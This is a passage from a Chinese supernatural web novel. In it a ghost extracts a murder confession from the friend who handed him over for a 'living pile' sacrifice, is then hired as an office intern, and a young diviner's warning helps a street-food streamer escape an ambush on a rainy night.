他晃了下脑袋,定睛朝着前方看去,前面的五米道路漆黑空旷,别说是什么鬼影,连黄鼠狼之类的生物都不见影子,只有夜风吹动树叶,晃了晃地上的影子。 张裕松了一口气,心想大概是今天提起的程璞玉影响了他的心绪。 他抿了抿唇,低声说:“你别怪我,大不了到时候我给你多烧点纸钱……” “真的吗?”沙哑的嗓音突兀地在张裕的身后响起,哪怕时隔三年,依旧显得熟悉的声线令他在这一瞬间浑身被冷汗给浸透。 张裕浑身僵硬,心脏却砰砰砰地跳动得格外厉害,每一下好像都要撞破胸腔和喉咙。 他疯狂地吞咽喉咙,视线一点一点聚焦在后视镜上。 程璞玉穿着那天晚上的衣服,一套很简单的休闲服,安静地坐在后座的位置。它抬着眼,五官似乎不复往日的清秀,倒显得狰狞,尤其是那双猩红的眼眸,里面迸发出来的无声恶意几乎要将张裕给蚕食。 而最令张裕感到恐慌和毛骨悚然的是,他那刚满一岁的儿子正酣睡在青年的怀中。 “你……” 张裕张了张嘴,喉间却像是被什么东西给堵住了似的,只艰难地蹦出一个字来。 程璞玉垂下眼眸,尖锐的指甲在张裕惊恐的注视下轻轻拂过一岁小孩娇嫩的脸,仿佛只要它稍稍用力,小孩的脸皮就会被戳破。 程璞玉声音冷静:“我很好奇,我把你当哥哥,你为什么要杀我?” “你、你放开他!” “你很紧张你儿子?”程璞玉的指甲勾着小孩的衣服,将他腾空提了起来,随后苍白的面上露出恶意满满的笑容,“你杀我,我杀你儿子,我们也算互不相欠了。” “不!他还只是个孩子!” “那我呢,我那时候也刚刚大学毕业,好不容易找到一份稳定的工作,开始我的新人生。” 程璞玉虽然对自己如何死亡一事毫无知觉,却始终记得那天晚上,他在收到公司录用的消息以后,兴奋地将消息分享给了张裕,张裕也显得很开心,提出了要去吃夜宵帮他庆祝。 他以为张裕是真的替他开心,结果现实狠狠给了他一巴掌。 “告诉我,为什么要杀我?!” “我……我没杀你。”张裕狠狠锤了下脑袋,眼里是凶狠,“这一切都是我的幻觉,你早就死了……” “幻觉?” 程璞玉冷笑一声,尖锐的指甲刺进张裕儿子的手臂,鲜血瞬间喷涌而出,小孩刺耳的哭声撞击着张裕的耳膜。 程璞玉:“这也是幻觉吗?” 不、不是。 张裕完全可以嗅到浓郁的血腥味,那味道熏得他头脑发胀。 可他愣是死死咬着嘴唇,一声不吭。 程璞玉见他固执的模样,拎着张裕的儿子便飞出了车外,坐在了车子的引擎盖上,它单手提着小孩,只要稍稍松手,小孩就会跌入车轮之内。 这一幕彻底刺激了张裕的眼球,他猛地扑在方向盘上,慌乱地喊:“不、不、不要这么做——” “那就告诉我,你到底为什么要杀我。” “我每年都会给你烧很多钱……你别动他!” “别说这些没用的废话,我只要答案。”程璞玉的眉眼沉下来,“而且你凭什么认为你害死了我,再给我烧点纸钱,这件事情就可以当做没发生过?” “不是我害死你的。”张裕的肩膀耷拉下来,他像是被抽掉了全身的力道,张嘴喃喃道,“我只是在酒里下了药,让你昏过去而已。” “可你知道我死了,你什么都知道。” 张裕一噎。 “你告诉我到底怎么回事,我就放过你,也放过你儿子,从此之后你们一家三口还可以好好过日子。否则我每天都来找你们,你可以试试看,你接下来会不会有好日子过。” 程璞玉的脸隔着挡风玻璃贴上张裕的脸,那双鬼眼中迸发出来的恨意几乎要将张裕整个人烧起来。 恐惧无声蔓延。 张裕浑身颤抖,脑子里开始不停地徘徊“好好过日子”五个字,像是抓住了什么救命稻草,迫不及待地问:“真的吗?你说真的吗?只要我告诉你……” 话没说完就被打断:“当然。” 张裕怔怔地盯着它,半晌,终于道:“……行,我告诉你。” “三年前,我做生意的时候被生意伙伴骗去了赌场,输了八十万……”张裕嘴唇颤抖,“我没钱还,他们就威胁我,要打断我父母的腿,要我父母的命。我本来是没当回事的,觉得他们胆子应该没那么大,可是那天晚上我妈跟我说,我们家门口有个奇怪的男人走来走去,我一问那男的特征,就是赌场的人。” “我想去银行贷款,但是贷不出。” 就在这个时候,张裕遇到了一个道士,那道士上下打量了他两眼,突然就笑了,问他:“你缺钱?我有个赚钱的机会,你要不要试试看?” 对方所谓的赚钱方法就是拿程璞玉的命来换。 张裕肯定是不同意的。 但他实在是被逼到了绝路。 那天晚上他在回家的路上接到了父亲的电话,说母亲被一辆车撞断了腿,但那车是黑车,没有牌照,警方找不到人。 同一时刻,赌场的人发来信息说:下次可就不止一条腿了。 他浑身的汗毛都在一瞬间竖了起来。 他熬了一夜没睡。 第二天,他去找了那个道士。 “给你下了药,确认你昏迷以后,我就将你交给了那个道士,之后……那道士给我打了一百万,我把债还掉了,用剩下的二十万做了点小生意。” 现在,生意越做越好,有了老婆和儿子。 张裕眼眶通红:“璞玉,哥真的不是故意的,但哥当时真的已经走投无路了……你原谅哥行不行?哥求你了……” 程璞玉望着痛哭流涕的男人。 是啊,张裕现在是有老婆有儿子了,日子过得越来越好了。 可他呢? 带着一身的茫然在那栋商场里飘了整整三年,看着人来人往,有时候看迷糊了就跟在他们的身后,忘了自己不能离开商场,然后一到门口就被狠狠撞了回去,疼得它在地上打滚。 可没人看得到。 他们只会穿过它的身体,继续说说笑笑。 程璞玉扯了扯唇,手掌挥过。 周围阴冷的气息尽数退散,浓郁的血腥味也在此刻消散,张裕像是察觉到什么,抬起了眼。 对上的却并非程璞玉的鬼脸,而是妻子震惊和慌乱的眼睛。 张裕的心咯噔一下。 脑海中只有一个想法—— 完了。 8、第 8 章 008. 张裕的妻子叫刘艺悦。 是张裕生意伙伴的侄女,张裕在饭局上对刘艺悦一见钟情,自此展开了疯狂的追求。 说是疯狂,但张裕做事进退有度,人也长得不赖,生意有起色,刘艺悦很快就沦陷在他的温柔之中。 刘艺悦一直觉得自己运气好。 直到刚才,她的丈夫好端端开着车却像是陷入了什么可怕的梦魇,一脚踩停了刹车之后竟然开始胡言乱语……不,不是胡言乱语。 是他亲口承认自己谋害了最好的朋友。 她的丈夫是个杀人犯! 这样的认知冲撞着刘艺悦的理智,令她浑身像是陷入冰冷的寒潭,冻得人无法动弹。 难怪,难怪每次提到程璞玉,张裕的表情都不太对劲。 她以为是程璞玉伤透了张裕的心,却不想着里面竟然藏了这么大的秘密! “不是!”张裕猛地回过神来,一把抓住妻子的手腕,焦急地解释,“事情不是你想得那样的,我可以解释的!” “你解释什么?”刘艺悦的嗓音颤抖,像是第一天认识他一样,“你刚刚把一切都交代了,你说你为了还八十万的赌债,接受了一个道士的提议,害死了你最好的朋友……张裕,那是一条人命!人命!” 张裕张了张嘴,看到妻子激动的表情,知晓挣扎无用,只能失魂落魄地摔进座椅,呐呐道:“可如果我不那么做,失去的会是三条人命啊。” “何况……他家里没人以后,我爸妈对待他跟对待亲儿子没什么两样,如果用他的命换我爸妈的命,他也应该同意才对。” “够了!别再自欺欺人了。”刘艺悦通红着眼睛,看向丈夫的眼神里满是失望,她咬了咬嘴唇,闭上眼睛再睁开,像是做了一个重大的决定,声音沙哑地道,“张裕,去自首吧。” “自首?”张裕似乎显得不可置信,“你让我去自首?我们的儿子才一岁,我要是去自首了,你以后怎么办?我们儿子怎么办?” “当然是带着你儿子改嫁咯。” 一只手撑在黑色轿车的引擎盖上,收到消息的段云双踩着高跟鞋,居高临下地望着张裕猛地扭过来的脸,美艳的脸上露出讥讽的笑容,“不然要守着她那个心狠手辣的杀人犯前夫一辈子吗?” 心狠手辣、杀人犯、前夫。 每个词都在张裕的心口插上一刀。 他愤怒地质问:“你是谁?你有什么资格替她做决定?!” 段云双上下打量他,轻嗤了一声,随后,在张裕的怒目圆睁中长指一勾,拿出了自己的证件:“喏,看清楚了吗?我是谁?” 张裕的脸色骤然苍白。 段云双向后挥手,声音懒散:“行了,把他带走吧,再问问清楚那个道士是怎么回事。” 没再多看一眼车内的人,段云双直起身体,目光往四周转了一圈,很快就在黑暗中窥见了那辆黑色的迈巴赫轮廓。她嘴角扬起笑容,迈步走过去,敲响了紧闭的车窗。 “弟弟,你——” 话没说完,随着车窗降下露出了一张眉骨锋利冷漠的脸。 但不过一秒,容镜就从谢长时的身侧挤了过来,他以一种难以理解的姿势悬空半趴在谢长时的怀里,双手搭着车窗,抵着下巴看过来。 段云双将差点蹦出口的‘握草你谁啊’重新咽回去,恢复了笑眯眯的表情:“弟弟,这个家伙我先带回特殊部门了,之后若是从他嘴里撬出来其他有用的信息,我会随时联系你的。” 容镜嗯嗯点头:“好的,麻烦您。” 段云双啧一声:“别这么客气,叫姐姐就行,我也大不了你几岁。” 容镜能感知到段云双的好意,从善如流地改口:“好的姐姐。” 段云双这才满意地踩着高跟鞋走了。 … 黑色迈巴赫重新驶回了筒子楼。 自从搞明白自己的死因以后就宛若被抽走了精气神的程璞玉眼也不眨,像一条尾巴跟在容镜的身后便下了车。结果没一会儿就被容镜提起来,重新扔回了车内。 它抬起迷茫的眼睛,无声地询问什么情况。 谢长时代替容镜回复:“今晚你和宋清一块住酒店。” “哦。”程璞玉也懒得问原因,反正容镜他们让它怎么做,它就怎么做。 倒是宋清在听到这个吩咐以后,咬着嘴唇开始思考—— 那他是要开两个房间还是让程璞玉跟自己住一块? 人和鬼住一块,那跟住凶宅有什么区别? 可是开两个房间好像有点浪费,而且这鬼的状态看上去很差,仿佛下一秒就会自杀嗝屁。 宋清皱了皱眉,叹了一口气,决定开解它一下:“喂,你没事吧?” “没事。”程璞玉有气无力,扔下这两个字就不再说话了。 黑色迈巴赫内再度陷入死一样的寂静。 宋清觉得车内过于压抑,正打算开个音乐缓解一下凝滞的氛围时,程璞玉却出人意料地再次开口了。 它的眼睛无神,盯着窗外一排排飞驰而过的绿植,声音很低,像是很苦恼:“就很奇怪,我以前明明能感觉到他是真的把我当弟弟的,我爸妈刚走那一阵,他身上一共就十块钱,可却愿意花九块钱给我买零食。结果到最后,他为了八十万选择眼睁睁看我去死。” 它抬起头,与后视镜中的宋清对上眼,问:“是不是很奇怪?” 同一时刻的筒子楼,容镜问出了相同的问题。 谢长时脱下西装外套挂至衣架,单手解开领口的纽扣,他走到冰箱前,拿出了一罐牛奶,半垂着眼眸拿过洗干净的水杯,看着奶白色的液体缓缓倒入其中,缓缓开口:“人性本就很复杂,有时候,一件简单的事情、一个突然之间变化的念头以及时间的流逝的都可能改变对方。” “唔,”容镜拧了拧眉心,凑到他身边喝了一口牛奶,然后慢吞吞地问,“那你呢,这些东西会改变你吗?” “当然。”谢长时给出了肯定的回答。 “可是……”容镜迟疑了一下,小声嘀咕,“我觉得你没变,十二年了,你给我的感觉还是跟以前一样。” 容镜的敏锐度要比普通人强上不少,尽管最初见到谢长时时他觉得谢长时和以前不像了,可经过这一整天的相处,他能清晰地感知到,谢长时还是以前的谢长时。 喊他起床的时候会用湿漉漉的毛巾盖在他脸上防止他赖床,会替他准备好牙刷牙膏、早餐,会给他倒牛奶。 和十二年前没有什么区别。 “因为我有坚守的东西。”沾上牛奶玻璃瓶外水汽的手掌覆盖住容镜的脸,那低于正常温度的触感冻得容镜嗷了一声,他手忙脚乱地伸手扒下男人的手,然而男人已经转换目标,手掌压在了他翘起的乌黑发丝上,漫不经心道,“小僵尸不需要知道这么多,赶紧喝牛奶,喝完去洗漱。” 容镜:“……” 哼。 容镜咕嘟咕嘟地灌完牛奶,乖乖地将杯子洗干净,拎着睡衣去了浴室。 洗干净出来,他还是和昨天夜里一样,叽叽喳喳像小麻雀,完全没有丝毫睡意。 谢长时按了按酸涩的眼皮,突然喊了声:“我的强。” “……昂?” “该睡了。” “……哦。” 虽然最开始容镜的确没什么睡意,不过他睁着眼睛在心里嘀咕时听到了谢长时安稳有序的呼吸,明明就只是呼吸声而已,却好像有很神奇的催眠作用,没一会儿下来,容镜已经哈欠连天,蹭着柔软的枕头开始打起了瞌睡。 第二天早上,容镜嗅着早餐的香味,很自然地在洗漱之后飘到了餐桌前。 吃饭的时候,段云双发来了信息。 说是从张裕并不知晓道士为什么非要取程璞玉的性命。不过,他们从张裕那里拿到了一张照片,是张裕当年去找道士的时候偷拍的,根据特殊部门的调查,这个道士出现在大众面前的几率竟然不低。 段云双给容镜发了一段二十几秒的视频。 “这是什么?”容镜拿着手机挤到谢长时的身侧,谢长时低头,看了几秒,回答,“酒店开业仪式。” 宋清悄摸摸凑过去看了一眼,随即惊讶:“这不是卢建聪吗?” 容镜的脑袋上都是问号:“那又是谁?” 宋清外号包打听,立马跟容镜解释:“江东集团的一个项目负责人,之前跟咱们抢项目,没抢到。” 恰好此时段云双的语音也抵达了:“我们询问了卢建聪,他说这道士自称凌霄,是丹枫集团的一个老总介绍给他的。” 提起丹枫集团,容镜三人都有所了解。 因为,前天容镜和谢长时去的那栋商场就是丹枫集团旗下的。 容镜咬了一口烧卖,猝不及防地问:“打生桩?” 段云双惊讶:“你也这么想?” 容镜唔了一声。 从得知程璞玉被困在商场无法脱身时,他就有这种猜测了。毕竟,以前他跟在太虚爷爷身边时也不是没遇到过这种情况。 段云双:“我调查过了,程璞玉出事那段时间,丹枫商场正好停工。根据工人所说,他们遇到了很诡异的事情,建造商场时有一面承重墙总是断裂,后来丹枫集团的人请来了一位‘大师’,‘大师’说商场的地基位置偏了,破坏了风水。” 至于后来大师是如何解决的,就不在工人的知情范围内了。 “反正按现在的情况来看,程璞玉的死因跟打生桩有百分之九十的关系。” 听完段云双的话,宋清已经呆了。 谢氏也做房地产,他身为总裁特助手上经过的建筑项目只多不少,因此对于打生桩也有所了解。据说是为了避免在修建大型建筑或者桥梁时破坏风水、触怒鬼神,有人会选择活祭的方式祈求工程顺利。 “这种丧心病狂的事情……真有人做?”宋清喃喃道。 “有。”容镜挂断了通话,敛着眼眸开口,“程璞玉不就是例子么?不过……” 容镜想,那个叫做凌霄的老道肯定是个老手,在选择程璞玉时也费了不少心思。 程璞玉父母双亡,没有直系亲属,所以利用张裕来将程璞玉的死亡伪装成欠钱跑路。同时,程璞玉死得莫名其妙,也在一定程度上避免了它知晓真相而成怨魂,届时镇压不住了破坏商场。 若非他和谢长时去了一趟商场,程璞玉被谢长时吸引,这个秘密或许将伴随程璞玉许多年。 直到某一天,亭阳市不需要这栋商场了,腐烂的内里才会露出森森白骨。 “现在只要把那个叫凌霄的找到,干掉他,就可以送程璞玉去投胎了。” 不过想要找到凌霄并不是个简单的事情,段云双让人联系过丹枫集团的负责人,对方却只道:“抱歉,我们并不清楚凌霄道长解决问题的方式,也不知道他在哪儿。” 段云双觉得他在放屁,已经收拾东西去滢洲准备找人麻烦了。 所以,容镜一行也不必留在亭阳。 沉默中,宋清默默举起了手。 容镜和谢长时抬头看过去,宋清尴尬地笑一声:“是这样的,昨天晚上我和程璞玉进行了一番谈话,程璞玉说它暂时还不想去投胎,想托我问问容先生,能不能推迟投胎的时间。” 容镜眨眨眼:“可以啊,不过它不投胎,想干嘛?” 宋清:“上班。” 容镜:“?” 宋清轻咳一声:“它死前不是刚收到公司录用的消息吗?结果还没去公司报道就被害死了,说是有点遗憾。” 容镜:“……” 他的表情看上去有点古怪,小声道:“我要是变成鬼了我就躺平,天天挂在谢长时的身上看他上班。” 不比自己上班有意思? 宋清也觉得程璞玉的想法有点难以理解,不过人家要求了嘛,他也不能拒绝。 而且—— “我跟他聊了一下,发现它专业知识还蛮扎实的,而且它是只鬼耶,不用跟人一样需要吃饭睡觉休息,工作效率一定很高。” “宋清。” 一直未开口的谢长时掀了掀眼皮,开口:“谢氏总裁的位置让给你坐。” 宋清:“啊?” 谢长时:“你比我更像资本家。” 宋清:“……” 9、第 9 章 009. 在资本家·宋总的极力游说下,刚刚卸任谢氏ceo的谢长时暂且同意了谢氏总部招收一只鬼作为实习生。 但程璞玉毕竟是只鬼,让它融入其他部门显然不合适,便决定让它跟在宋清身旁。 宋清正激动地准备去找程璞玉告诉它这个好消息,谢长时忽然又道:“给它烧份实习合同签一下。” 宋清:“……” 看来他这个新上任的宋总还是差点火候的。 等回到雁城,宋总打印了一份聘用合同,又去丧葬品店买了手机等一类的必需品,一同烧给了程璞玉。 程璞玉拿到东西的时候愣了一下,像是没想到能这么隆重,它有点感动,因张裕而难过的心情似乎也有所缓解。 宋清拍了拍它的肩膀,安慰它:“没事的,等你真正开始上班,你就不会再想到张裕了。” 程璞玉有点好奇:“为什么?” 宋清:“打工人哪有那么多时间伤春悲秋的,每天空闲下来的时间都用来骂老板了。” 说完觉得哪里不对,下意识回头看了一眼。 哦,还好,他老板带着容镜回家了,没听到。 … 谢长时在雁城的房产众多,但考虑到每日上班,常住的是云江湾。 电梯直达16楼,推门而入便是干净透亮的巨型落地窗,容镜赤着脚跑过去,站在窗边眺望云江。 今天气温低,江面上水汽升腾,平铺了一层宛若流烟的白雾,风掠过雾中央,撕开了一两条缝隙,露出了江对面的层层青山与石塔。 “好看?”谢长时迈步走过来,玻璃印出他高挑修长的身体,他微垂着眼眸注视着几乎要将脸贴上落地窗的少年。 容镜毫不犹豫地点头:“好看呀。” 他想了想说:“以前住在筒子楼的时候,窗户小小一个,房子里总是闷闷的,但这个好大。” 谢长时记起来了。 容镜很喜欢下雨天,每逢雨天都喜欢跑到楼道里看风景。 亭阳的雨总是伴着很大的风,丝毫没有和风细雨一说,于是待在楼道里的容镜也总是被吹得身上湿哒哒一片。 谢长时提过一次让他回房间看,但容镜却说看不尽兴。 他垂首,指尖划过手机屏幕,目光掠到最新的天气预报情况,站在少年的身后道:“晚上八点有雨。” “真的吗?” “嗯。”男人伸手压压他翘起的发梢,说了句“你先看”便走向次卧。只是,转身的刹那,他突然明白为什么当时在这里置办房产,宋清问他有什么要求时,他只说了一句——两个房间,窗户要大。 他从始至终都在等他到来。 谢长时走入次卧。 虽然昨天人在亭阳,不过他提前让人将次卧再度收拾了一遍,入目的床单被套、窗帘几乎都是淡色系,是容镜喜欢的颜色,床头摆着一株水培绿植,整体看上去格外简约。 很符合这栋房子的风格。 “你在看什么?”容镜的脑袋从门口探进来。 谢长时回头:“你的房间,对你来说似乎太简单了,你看看有什么需要的,我们去置办。” 容镜认认真真看了几眼,觉得眼下就挺好的。 不过那张床好大,他认为还可以放几只玩偶和靠枕。 傍晚临近,谢长时带着容镜去了附近的商场,吃容镜想吃的烤鱼,买容镜想要的玩偶和靠枕。这家位于雁城繁华地段的商场是谢氏旗下的,容镜听到这个消息,站在大门口多瞅了两眼,回头对谢长时道:“风水挺好,财源广进。” 谢长时失笑:“谢谢容大师点评。” 为了证明‘财源广进’的说法,容镜买了一麻袋的玩偶,消费了五位数。 谢总眼也没多眨一下,刷卡的时候顺道拎起旁边一只丑萌丑萌的小僵尸公仔问容镜:“这个不要吗?” 容镜嫌弃:“不要,太丑了,有损我们小僵尸的形象。” 谢长时遗憾,转而又道:“也是,家里有一只就够了。” … 两人吃过烤鱼,饭后散步似的离开了商场,走向后方那条街。 这是附近很出名的美食街,奶茶、糕点、烧烤一类的小摊只多不少,容镜在抵达商场前就被告知美食街的存在,因此一顿烤鱼只吃了个五分饱。 他伸长脖子往前方看,看到一群人堵在一块,有些好奇地问边上的女孩子:“那边在卖什么呀?好多人。” 女孩扬了扬手里包装漂亮的口袋,笑吟吟地解释:“卖的甜品,摊主是个美食博主,叫柳柳,粉丝八百万,那儿基本都是她的粉丝。” 怪不得。 容镜喜欢热闹,得到回答以后立刻扭头看向了谢长时。 谢长时接过他手里的麻袋,微微颔首:“排队。” 天边乌云覆盖了云层,变得愈发阴沉。容镜想起谢长时所说的八点要下雨,他拿出自己的手机,看了一眼手机,已经七点多了。 容镜运气还不错,两分钟后轮到他时,透明的保鲜盒内还剩下一块抹茶提拉米苏。 “哇,是两个帅哥。”柳柳看上去二十四五岁的样子,头发扎成高马尾,围着围裙戴着口罩,意识到自己的话引来了那个个偏高的男人注意,她连忙指了指架在一旁的直播器械,笑着解释,“放心,没有拍到你们。” 随即又道:“就剩下最后一块啦,送你们,不用给钱。” 她俯身从隔层内抽出新的包装纸盒,小心翼翼地将正方形的提拉米苏放进去,又装进少女心爆棚的拎袋内,递给容镜。 容镜看看她,再看看蛋糕,接过的同时对她弯了弯乌黑的眼眸,声音清亮:“谢谢姐姐。” “哎呀别客气,你俩长这么好看,还来吃我的蛋糕,是我的荣幸。” 柳柳摘下口罩露出一张清秀的脸来,她冲两人挥挥手,笑眯眯的:“天气预报说今晚八点要下雨哦,你们早点回家吧。” “好,姐姐也是。” 目送着两人离开,柳柳侧过头看向镜头,此刻的直播间满屏都是:什么?有帅哥?有多帅?让我也看看! 她遗憾地耸耸肩:“帅哥已经走了……” 话没说完,眼角的余光扫到跑来的少年,她疑惑地咦了一声,越过小推车,迎上去问:“怎么啦?弄丢东西了吗?” 容镜:“不是,是有事跟姐姐说。” 两分钟后,柳柳再一次目送着容镜离开。 谢长时等在不远处的路灯下,昏黄的灯光落在他身上,衬得他眉目愈发清隽冷峻。待到容镜走至他的身侧与他并肩,才迈开被西裤包裹的长腿往商场车库的方向走。 柳柳回过神来,重新回到镜头前,面对弹幕的询问,她有些迟疑地抓了抓头发,才回复:“他说为了感谢我送蛋糕给他吃,所以送了我一卦。” “江湖骗子?不是吧,跟他一起的帅哥光看气质就是个霸总。” “卦象?他好像说了一句无妄卦,上九爻。”柳柳说着笑起来,“怎么,这位叫做[我是你爹]的朋友你还懂这个吗?” 柳柳本只是调侃,却没想到这位id为[我是你爹]的网友真留下了一番话:上九,无妄,行有眚,无攸利。* 柳柳无声地念了念,眼睛一点点睁大:“对对对,他就是这么说的。” 我是你爹:他还说什么了? 柳柳立马道:“让我在做决定的时候多考虑考虑,静保其身,否则遇到了灾祸就没有解决办法了。” 说话间,漆黑的天边忽然划过一道明亮的光,紧随其后的便是轰隆一道响亮又刺耳的雷声。突兀响起的声音将周围的人吓了一跳,柳柳也顾不得和直播间观众聊天,加快语速说了句“要下雨了我得赶紧收拾东西回家,各位拜拜”后,便切断了直播。 她的运气还算不错,天空骤然倒下大雨时,她已经将所有的东西都收到了车上。 可惜的是,她摆摊的车车是小三轮,根本防不住雨。 艰难套上雨衣,柳柳在狂风骤雨中上了路,开了半个小时,拐进了胡同。 这里有条近道,但说是胡同其实也并不偏僻,只不过因为天色已晚又下大雨,各家店铺的卷帘门都已下拉,只剩下路旁的老旧面包车。 虽然早就知道会下雨,但柳柳着实没想到雨会下得那么大。 雨水过急,城市的排水系统过载,在短短时间内路边便蓄起了到脚踝的积水。柳柳的粉色小三轮吭哧吭哧开过一个坑,车灯闪烁间又像是瞧见了什么,突然开始倒车。 视线中,一辆电瓶车横倒在路旁,而几米之外,看不清楚长相、年纪与性别的人裹在厚重的雨披内,坐在地上蜷缩成了一团。 柳柳皱着眉,扯开嗓子喊:“你没事吧?需不需要帮忙?” 雨声将对方的回复撞得支离破碎,柳柳隔着雨帘勉强窥见对方似乎动了动身体,伸出的手臂指向了自己的腿。 ——站不起来了? 意识到这一点,柳柳脸色微变,赶紧停了车,连车钥匙也没拔,便一脚踏入了水中。 但就在她准备往电瓶车主人的方向走时,脑海中忽然冒出了那个少年的声音:“上九,无妄,行有眚,无攸利。做决定前多加思索,静保其身,不可妄为。” 柳柳脚下步子猛地一顿。 10、第 10 章 010. 少年的声音压过了哗啦啦的雨声,不停地在柳柳的耳侧回荡,无端营造出了一种令人不寒而栗的氛围。 尤其是当她的视线扫过周围,瞧见了因接触不良而开始接连不断闪烁的昏黄路灯。 ……简直是电影中雨夜杀人的经典配色。 柳柳咽了咽喉咙,咬着嘴唇摸不准是否要继续往前走。 往前,少年的提醒像咒语。 不往前,自幼被教导而培养的助人为乐品德始终禁锢着她。 就在她万分迟疑的时候,旁边建筑物二楼的窗户被人打开,有沙哑的嗓音朝着下方喊:“你们杵在那儿干什么?车坏了吗?需要帮忙吗?” 柳柳的眼睛猛地一亮,赶紧招手:“叔,这里有人骑电瓶车摔到腿了,你能不能下来搭把手?” “等着。” “诶。” 柳柳抹了一把被雨水糊住的脸,也不管对方听不听得见,喊出一句“你等一下,我找人来帮你”也没再往前走。 没一会,鞋子踩着雨水的‘踏踏’声响起,柳柳扭头看过去,见到了一道魁梧的身影。 对方全身包裹在雨具之下,脑袋上扣着帽子,将雨衣的领口拉到下巴以上,遮住了半张脸,看不清长相与表情。 男人走过来,将近一米八的个子有种极强的压迫感。 柳柳本能地感觉到不适,也是此时,天边闪过一道雷,银白的闪电无比粗壮,宛若利剑劈开了暗沉模糊的黑夜,短暂地照亮了脚下的土地,也照亮了男人手里紧紧捏着的一块毛巾。 毛巾? 柳柳还未想明白,对方已然迈着更大的步子走了过来。 又一道雷光闪过。 整个天地都被照得明亮无比,柳柳眼角的余光瞥到远处那道蜷缩的身影正从地上爬起来,而身侧的男人微微抬头,露出了一双比蛇还阴冷的眼睛以及挑起细微弧度的嘴角。 柳柳的心中突然咯噔一下。 不,不太对劲。 第六感宛若警报嘀嘀嘀地响,她的心脏开始极速跳动,不安的情绪随着距离的接近开始疯狂叫嚣。柳柳的双腿反应比脑子更快,毫不犹豫地拔腿就往前三轮车的方向跑。 男人似乎没料到柳柳的突然行动,被惊了一下回过神来猛地迈开大步追了过去。 两人相距本就不远,男人又身高腿长,三两步就拉近了与柳柳的距离。 雨水打在柳柳身上,从雨衣的领口淌入胸口,洇湿了衣服,明明冰冷无比,但她浑身的血液却像是被点燃一样,疯狂地灼烧,直冲头顶。 跑,快点跑! 唯一的念头占据柳柳的脑海,她脚踩踏板,迅速翻身上车,车钥匙一转,把手一拧,电三轮不必蓄力便以最快的速度窜了出去。 三轮在雨水中简直跟追求速度极限的超跑一样,轮胎中水花四溅,耳边的心跳宛若咆哮的轰鸣。 柳柳压抑着惊恐的情绪和疯狂跳动的心脏,视线不自觉地后视镜中瞥。 雨幕之中,那道追着她车狂奔的身影在几十秒后像是终于察觉到计划成空,缓缓停下脚步,站在原地朝着这边看来。 隔着厚重的雨帘,柳柳仿佛又看到了那双阴冷的眼。 她控制不住地打了个哆嗦,右转的车头在略微的停顿以后选择直行,一路狂奔呼啸。 十多分钟后,柳柳的小三轮出现在了警局门口。 … 警局的接待室内。 柳柳身上披着毛毯,手里捧着水杯,热水产生的气体模糊了她的眉眼,却遮不住她后怕的情绪暴露。 她双手发颤,磕磕绊绊地说着刚才发生的一切。 可是感受着警局内寂静无比的氛围,柳柳张了张嘴,像是说服自己一样,哑着嗓音道:“当、当然,也可能是我太敏感了——” 话没说完,就被坐在对面的年长警察给打断了:“你不是说他追着你的三轮跑吗?如果他真的只是个下来帮忙的好心人,不去扶人来追你……这是不合理的。” 说完,警察偏头对一侧的小警察道:“让袁思雨过来把柳女士送回家,你跟我去一趟现场看看。” 小警察应了一声,跑出去喊人了。 袁思雨是个与柳柳年纪差不多的女孩子,将干毛巾递给柳柳,温声介绍自己:“我叫袁思雨,你可以叫我汤圆。” “你别怕,我会安全把你送到家的。” “谢谢。” “别跟我们人民警察客气。”袁思雨很擅长聊天,三言两语就将柳柳从惊慌失措的情绪中拉了出来,并夸赞她,“听你刚刚的形容我都能想象到情况有多危急,但你很警觉,还能安全来到警局报案,超厉害的。” 柳柳被她说得有点不好意思,腼腆地笑了一下,轻声说:“主要是我之前摆摊的时候遇到了一个男生,他说给我算了一卦,让我做决定前多思考思考,所以我才有点防备。” 只是令柳柳没想到的是,她防备了那个摔倒的人,后面却还有一双眼睛盯着她。 简直防不胜防。 袁思雨听到‘算了一卦’这四个字,眨了下眼睛,夸赞道:“那那个男生还挺厉害的。” 柳柳有点意外:“我还以为你会觉得是巧合。” 袁思雨伸出手指在柳柳的眼前晃了晃,神秘兮兮地说:“不是哦,我很信这个的。” 因为他们雁城警局内同样设有特殊部门,袁思雨和那个部门的人接触过,从一开始的‘不会吧现在这年头还有人信这个’到如今的‘握草大佬不愧是大佬’,经历过不少稀奇古怪、说出来都让人觉得是在讲故事的事儿。 “走吧,我先送你回家,然后我们加个联系方式,有任何问题随时联系。” “好。” 袁思雨将柳柳送到家,回警局时,出发去现场的同事也回来了。 她迫不及待地迎上去,问:“靳队,调查得怎么样了?” 靳鸿扯过一旁的干净毛巾随意擦了擦满是水珠的脸,声音还带着雨水的潮气:“现场的监控被损坏了,询问过周围的住户,他们说没听到什么声音。” 这倒不奇怪,毕竟今天的暴雨大得过分。 人声藏在雨声中,难以捕捉。 “不过我们按照那女生说的,去了雨衣男出现的二楼房间,倒是发现了点不同寻常的地方。” 小警察凑过来补充:“二楼那个房子没人住,听附近的住户说,那个房间的户主几年前就离开了雁城。我们也给对方打电话了,对方说房子一直空着,没外租给别人。” 袁思雨脑袋转得快:“也就是说,那个人确实是有问题的。” 靳鸿嗯了一声,又道:“现在看来就两个可能,要么团伙作案,要么摔倒的人也是受害者之一。但根据那姑娘的话来看,前者的可能性比较大一点。” “那他们是有目标的对柳柳下手吗?” “不太像,我问过那小姑娘,她说她今天第一次去长华街的夜市摆摊,对方应该猜不到那小姑娘晚上会走哪条路。不过为了安全考虑,你最近跟那小姑娘常联系,要是对方不介意,可以贴身保护。” “那我现在就联系她。” … 另一头。 谢长时和容镜回到云江湾,前者临时有事去了书房,而容镜则将麻袋里的玩偶消毒,然后挨个放到床上,最后满意地拍下照片。 他洗过澡,往书房的方向看了一眼,只瞧见紧闭的大门,便也知道不能打扰谢长时,索性自己搬了个小桌子,来到落地窗前盘腿而坐,一边吃蛋糕,一边看雨中的江景。 谢长时推开书房的门走出来瞧见的便是这一幕。 少年穿着短款的睡衣睡裤,因坐姿而卷起了本身布料就不多的裤腿,白皙而匀称的小腿比夜间的灯光更扎眼。谢长时控制着自己的视线往上移,却突兀地撞入他凹陷的锁骨和俯身时露出的大片肌肤。 手指解开衬衣领口,那种被束缚的紧绷感稍稍退却,他上前走到容镜的对面,不等他开口,容镜便将剩余的半块提拉米苏推了过来,抬起笑吟吟的脸:“请你吃。” 西裤限制了谢长时的动作,因此坐下时他只能将一条腿舒展至容镜的身侧,视线扫过提拉米苏,他眉梢微挑,语调听上去有点漫不经心:“如果我没记错的话,钱是我付的。” 